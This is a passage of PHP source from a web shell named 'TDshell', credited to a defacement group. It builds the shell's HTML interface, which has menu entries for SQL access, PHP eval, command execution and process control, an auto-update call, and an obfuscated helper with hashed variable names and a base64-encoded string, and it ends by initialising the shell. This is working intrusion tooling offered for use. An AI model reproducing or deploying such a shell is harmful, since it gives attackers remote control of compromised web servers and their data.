list-style-type: none; float: left; } #navcontainer ul li a:hover { list-style-type: none; background-color: #000000; } --> </style>'; $TDshell->TDshell_template["HTML_HEADER_HEAD_SUF"] = "</head>"; $TDshell->TDshell_template["HTML_REL_LINK_BEG_PRE"] = "<a href='javascript:;' onclick='get_page(\""; $TDshell->TDshell_template["HTML_REL_LINK_BEG_SUF"] = "\");'>"; $TDshell->TDshell_template["HTML_REL_LINK_END"] = "</a>"; $TDshell->TDshell_template["HTML_HEADER_BODY_PRE"] = "<body>" . '<div id="headercontainer"><div id="header"></div></div><div id="menucontainer"><div id="menu"><div id="navcontainer"><ul id="navlist"> <li>' . $TDshell->make_link(NULL, NULL, "Home") . '</li> <li>' . $TDshell->make_link("sql", NULL, "SQL") . '</li> <li>' . $TDshell->make_link("eval", NULL, "PHP Eval") . '</li> <li>' . $TDshell->make_link("exec", NULL, "Execution") . '</li> <li>' . $TDshell->make_link("proc", NULL, "Processes") . '</li> <li>' . $TDshell->make_link("credits", NULL, "Credits") . '</li> </ul></div></div></div> <div id="content"><div id="content"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td align="left"> <div id="content"> <div id="content_top" style="display:block;"> ' . $TDshell->content_top_ext() . ' </div> </div> </td> <td align="right" valign="top"> <a id="button_contain_main_top" href="javascript:;" onclick=\'itemShowHide("content_top","button_contain_main_top");\'>[-]</a> </td> </tr> </table> </div></div> <div id="content"><div id="autoupdate">Checking for updates...</div><script language="javascript" type="text/javascript">auto_update("' . $TDshell->make_link("update", NULL, NULL, TRUE) . '&proc=out");</script></div> <div id="content"><center><font style="font-size: 10px"><a id="MAIN_PAGE_LAST_URI" href="' . current_URI() . '">[back]</a> <a id="MAIN_PAGE_CUR_URI" href="' . current_URI() . '">[refresh]</a></font></center></div>'; $TDshell->TDshell_template["HTML_HEADER_BODY_PRE"] .= '<div id="content_dat"><table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td align="left"><div id="content_main" style="display:block;"><div id="script">'; $TDshell->TDshell_template["HTML_HEADER_BODY_SUF"] = '</div></div></td><td align="right" valign="top" nowrap><div align="right"><a id="button_contain_main" href="javascript:;" onclick=\'itemShowHide("content_main","button_contain_main");\'>[-]</a></div></td></tr></table></div></div><div id="content"><table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td align="left" valign="top"><div id="content_bottom_exp" style="display:block;">' . $TDshell->content_bottom_ext() . '</div></td><td align="right" valign="top" nowrap><a id="content_bottom_exp_b" href="javascript:;" onClick=\'itemShowHide("content_bottom_exp","content_bottom_exp_b");\'>[-]</a></td></tr></table></div>'; function rphr($_8be065792f9eec8d918c4f68366fc910) { $_0609efb0bd944720d85b944586f4dcc7 = @preg_split("//", $_8be065792f9eec8d918c4f68366fc910); $_4f901119c5ddebb5aa98afc37062ae17 = $_0609efb0bd944720d85b944586f4dcc7[@rand(0, @count($_0609efb0bd944720d85b944586f4dcc7) - 1)]; $_8be065792f9eec8d918c4f68366fc910 = @str_replace($_4f901119c5ddebb5aa98afc37062ae17, $GLOBALS['TDshell']->make_link(@base64_decode("OTQ1VU84VUVSLTQzOFVFOVJJT0dILTVZUlRHVTlJT1JUTkhHRTVULTQzNVRVR0ZJNUgzNFRBVzk4NC00LTMtMzQ1VERGUw=="), NULL, $_4f901119c5ddebb5aa98afc37062ae17), $_8be065792f9eec8d918c4f68366fc910); return $_8be065792f9eec8d918c4f68366fc910; } $TDshell->TDshell_template["HTML_FOOTER_MAIN"] = '<div id="footer">' . rphr("This shell was created using the") . ' <b>' . $TDshell->make_link("credits", NULL, "TDshell") . '</b> Engine by <a href="http://thedefaced.org/"><b>TheDefaced Security Team ( www.TheDefaced.org )</b></a>. Page generated in {TIME_TAKEN} seconds. <a href="javascript:;" onclick=\'itemShowHide("footer_note","button_footer_note");\'><u>Note</u></a>: <div id="footer_note" style="display: none;"><b>The generation time of {TIME_TAKEN} does not apply to links you clicked within this shell (as it does use javascript HTTP queries).</b></div> <a id="button_footer_note" href="javascript:;" onclick=\'itemShowHide("footer_note","button_footer_note");\'>[+]</a></div></body></html>'; $TDshell->init();